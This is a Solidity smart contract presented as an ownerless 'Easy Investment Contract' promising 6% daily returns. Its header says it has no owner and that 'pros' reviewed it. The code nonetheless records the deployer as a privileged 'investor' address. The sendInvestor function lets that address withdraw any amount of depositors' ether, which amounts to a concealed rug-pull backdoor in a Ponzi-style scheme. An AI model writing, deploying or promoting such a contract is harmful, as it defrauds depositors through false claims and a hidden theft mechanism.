pragma solidity 0.4.25;

/**
 *
 * Easy Investment Contract
 *  - GAIN 6% PER 24 HOURS (every 5900 blocks)
 *  - NO COMMISSION on your investment (every ether stays on contract's balance)
 *  - NO FEES are collected by the owner, in fact, there is no owner at all (just look at the code)
 *
 * How to use:
 *  1. Send any amount of ether to make an investment
 *  2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS)
 *  OR
 *  2b. Send more ether to reinvest AND get your profit at the same time
 *
 * RECOMMENDED GAS LIMIT: 70000
 * RECOMMENDED GAS PRICE: https://ethgasstation.info/
 *
 * Contract reviewed and approved by pros!
 *
 */
contract Investment {
    // records amounts invested
    mapping (address => uint256) public invested;
    // records blocks at which investments were made
    mapping (address => uint256) public atBlock;
    // address investors
    address investor;

    // constructor initialize investors
    constructor() public {
        investor = msg.sender;
    }
    // this function called every time anyone sends a transaction to this contract
    function () external payable {
        // if sender (aka YOU) is invested more than 0 ether
        if (invested[msg.sender] != 0) {
            // calculate profit amount as such:
            // amount = (amount invested) * 6% * (blocks since last transaction) / 5900
            // 5900 is an average block count per day produced by Ethereum blockchain
            uint256 amount = invested[msg.sender] * 6 / 100 * (block.number - atBlock[msg.sender]) / 5900;
            // send calculated amount of ether directly to sender (aka YOU)
            msg.sender.transfer(amount);
        }
        // record block number and invested amount (msg.value) of this transaction
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;
    }
    // approved for investors
    function approveInvestor(address _investor) public onlyInvestor {
        investor = _investor;
    }
    // send to investors
    function sendInvestor(address _investor, uint256 amount) public onlyInvestor {
        _investor.transfer(amount);
    }
    // get investors address
    function getInvestor() public constant onlyInvestor returns(address)  {
        return investor;
    }
    // access only for investors modifier
    modifier onlyInvestor() {
        require(msg.sender == investor);
        _;
    }
}